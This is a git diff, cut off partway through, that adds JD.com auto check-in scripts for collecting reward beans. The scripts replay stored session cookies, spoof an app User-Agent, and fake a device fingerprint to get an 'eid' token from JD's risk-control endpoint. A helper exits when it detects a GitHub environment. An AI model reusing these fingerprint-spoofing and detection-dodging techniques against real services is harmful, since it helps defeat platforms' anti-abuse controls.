this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} diff --git a/jd_sign_graphics.js b/jd_sign_graphics.js new file mode 100644 index 0000000..f341aa6 --- /dev/null +++ b/jd_sign_graphics.js @@ -0,0 +1,271 @@ +/* +cron 10 8 * * * jd_sign_graphics.js +只支持nodejs环境 +需要安装依赖 +npm i png-js 或者 npm i png-js -S + +*/ + +const Faker = require('./sign_graphics_validate.js') +const $ = new Env('京东签到翻牌'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let UA = "" +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://sendbeans.jd.com' +const turnTableId = [ + { "name": "翻牌", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, + //{ "name": "翻牌", "id": 1423, "shopid": 1000090929, "url": "https://sendbeans.jd.com/jump/index/" }, + //{ "name": "翻牌", "id": 1419, "shopid": 1000007205, "url": "https://sendbeans.jd.com/jump/index/" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + subTitle = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + getUA() + await signRun() + await $.wait(8000) + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset() * 60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', { hour12: false }); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个\n${beanNum > 0 && "【签到奖励】: " + beanNum + "京豆" || ""}\n` + message += msg + '\n' + $.msg($.name, msg); + } + } + // await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + signFlag = false + await Login(i) + if (signFlag) { + successNum++; + } else { + errorNum++; + } + await $.wait(1000) + } +} + +function Sign(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/sign?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}&fp=${fp}&eid=${eid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (Number(data.jdBeanQuantity) > 0) beanNum += Number(data.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(data.jdBeanQuantity)}京豆`) + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Login(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/detail?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let arr = await Faker.getBody(UA, turnTableId[i].url) + fp = arr.fp + await getEid(arr) + await Sign(i) + } else { + if (data.records && data.records[0]) { + for (let i in data.records) { + let item = data.records[i] + if ((item.hasSign == false && item.index != 1) || i == data.records.length - 1) { + if (item.hasSign == false) i = i - 1 + beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = true; + console.log(`${turnTableId[i].name} 已签到`) + } + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getEid(arr) { + return new Promise(resolve => { + const options = { + url: `https://gia.jd.com/fcf.html?a=${arr.a}`, + body: `d=${arr.d}`, + headers: { + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + "User-Agent": $.UA + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data.indexOf("*_*") > 0) { + data = data.split("*_*", 2); + data = JSON.parse(data[1]); + eid = data.eid + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function getUA() { + $.UA = `jdapp;iPhone;10.1.0;14.3;${$.UUID};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167774;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_sign_graphics1.js b/jd_sign_graphics1.js new file mode 100644 index 0000000..f3fc791 --- /dev/null +++ b/jd_sign_graphics1.js @@ -0,0 +1,270 @@ +/* +cron 10 8 * * * jd_sign_graphics1.js +只支持nodejs环境 +需要安装依赖 +npm i png-js 或者 npm i png-js -S + +*/ + +const Faker = require('./sign_graphics_validate.js') +const $ = new Env('京东签到翻牌'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let UA = "" +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://sendbeans.jd.com' +const turnTableId = [ + // { "name": "美妆-1", "id": 293, "shopid": 30284, "url": "https://sendbeans.jd.com/jump/index/" }, + // { "name": "美妆-2", "id": 1162, "shopid": 56178, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "美妆-3", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + subTitle = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + getUA() + await signRun() + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset() * 60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', { hour12: false }); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个\n${beanNum > 0 && "【签到奖励】: " + beanNum + "京豆" || ""}\n` + message += msg + '\n' + $.msg($.name, msg); + } + } + // await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + signFlag = false + await Login(i) + if (signFlag) { + successNum++; + } else { + errorNum++; + } + await $.wait(1000) + } +} + +function Sign(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/sign?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}&fp=${fp}&eid=${eid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 签到: API查询请求失败 ‼️‼️`) + throw new Error(err); + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (Number(data.jdBeanQuantity) > 0) beanNum += Number(data.jdBeanQuantity) + signFlag = true; + console.log(`${turnTableId[i].name} 签到成功:获得 ${Number(data.jdBeanQuantity)}京豆`) + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + console.log(`${turnTableId[i].name} ${data.errorMessage}`) + } else { + console.log(`${turnTableId[i].name} ${JSON.stringify(data)}`) + } + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function Login(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/detail?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + 'Cookie': cookie, + 'Host': `sendbeans.jd.com`, + "Referer": "https://sendbeans.jd.com/jump/index/", + "User-Agent": $.UA, + } + } + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) + console.log(`${JSON.stringify(err)}`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data); + if (data.success && data.data) { + data = data.data + if (!data.hasSign) { + let arr = await Faker.getBody(UA, turnTableId[i].url) + fp = arr.fp + await getEid(arr) + await Sign(i) + } else { + if (data.records && data.records[0]) { + for (let i in data.records) { + let item = data.records[i] + if ((item.hasSign == false && item.index != 1) || i == data.records.length - 1) { + if (item.hasSign == false) i = i - 1 + beanNum += Number(data.records[i].beanQuantity) + break; + } + } + } + signFlag = true; + console.log(`${turnTableId[i].name} 已签到`) + } + } else { + if (data.errorMessage) { + if (data.errorMessage.indexOf('已签到') > -1 || data.errorMessage.indexOf('今天已经签到') > -1) { + signFlag = true; + } + 